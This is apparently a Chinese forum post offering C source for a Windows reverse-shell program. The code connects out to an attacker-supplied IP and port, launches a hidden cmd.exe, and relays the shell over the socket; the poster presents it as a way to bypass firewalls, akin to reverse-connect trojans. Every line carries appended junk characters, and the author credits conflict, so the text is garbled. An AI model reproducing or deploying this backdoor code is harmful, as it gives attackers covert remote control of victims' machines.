这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *&% kkbA
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/* ============================== Uj(,6K8W
Rebound port in Windows NT R`:Y&)c_$
By wind,2006/7 ]uWx<aDB
===============================*/ hGcOk[m 4
#include r*p<7
#include &t+03c8g!
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#pragma comment(lib,"wsock32.lib") * G.6\
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void OutputShell(); *jCXH<?R
SOCKET sClient; (TVzYm
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rgRh ySud
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void main(int argc,char **argv) eeoIf4]
{ V`l.F"<L
WSADATA stWsaData; v,KH2 (N
int nRet; M9fAv
SOCKADDR_IN stSaiClient,stSaiServer; BYqDC<Fq
qCc'w8A
if(argc != 3) 4IG'Tm
{ <DvpqlT
printf("Useage:\n\rRebound DestIP DestPort\n"); <q~&g
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return; )67Kd]
} uV#/Lgw{M
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7M<7^)9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K9mL1 [B
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stSaiClient.sin_family = AF_INET; {I@@i8)]
stSaiClient.sin_port = htons(0); yCf*ts1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xzyV|(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `2o/W]SSk
{ c}U&!R2p{
printf("Bind Socket Failed!\n"); QukLsl]U
return; Ki,]*-XO
} lo,?mj%M
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stSaiServer.sin_family = AF_INET; DQ?'f@I&*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %+:%%r=Q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ja4O*C<
THi*'D/
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) smoz5~
{ N>z_uPy{A
printf("Connect Error!"); g|9'Lk
return; R.Ao%VT
} 8*V3g_z
OutputShell(); Co4QWyt:
} _ncqd,&z
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void OutputShell() xm6=l".%z
{ #VgPg5k.<
char szBuff[1024]; Dr^#e
SECURITY_ATTRIBUTES stSecurityAttributes; +#"CgZ]
OSVERSIONINFO stOsversionInfo; pUZbZ
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GO.mT/rB
STARTUPINFO stStartupInfo; ]uI#4t~
char *szShell; W~$YKBW
PROCESS_INFORMATION stProcessInformation; V)mRG`L
unsigned long lBytesRead; (%rO'X
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [>A%%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !_QE|tVeR
stSecurityAttributes.lpSecurityDescriptor = 0; .RxH-]xk
stSecurityAttributes.bInheritHandle = TRUE; V2W)%c'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oP$NTy[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X2 c<.
9fp1*d
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _8vq]|rC
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Du k v[/60
stStartupInfo.wShowWindow = SW_HIDE; $z"3_4a
stStartupInfo.hStdInput = hReadPipe; vrXUS9i.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %G1kkcdH<
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GetVersionEx(&stOsversionInfo); ^G.PdX$M
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switch(stOsversionInfo.dwPlatformId) '2vZ%C$
{ %a{$M{s
case 1: x6d+`4
szShell = "command.com"; {9q~bt
break; FX`SaY>D
default: h|$.`$
szShell = "cmd.exe"; 4eMNKIsvY$
break; 9+)5 #!0
} aF7" 4^ P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +Em+W#i%?
v@_b"w_TY
send(sClient,szMsg,77,0); p&/}0eL y
while(1) Zg"g/I.+d
{ 7%)
F]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~4S@kYe{3K
if(lBytesRead) ^a#Vp
{ R#.FfWTZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p}$VBl$'
send(sClient,szBuff,lBytesRead,0); BUqe~E|I
} 8<#X]I_eP+
else W-ErzX
{ 5(R ./
lBytesRead=recv(sClient,szBuff,1024,0); u=I \0H
if(lBytesRead<=0) break; N2[EdOJT_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2fM*6CaS
} GLrHb3@"N
} bx`s;r=
tn&~~G~#
return;
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}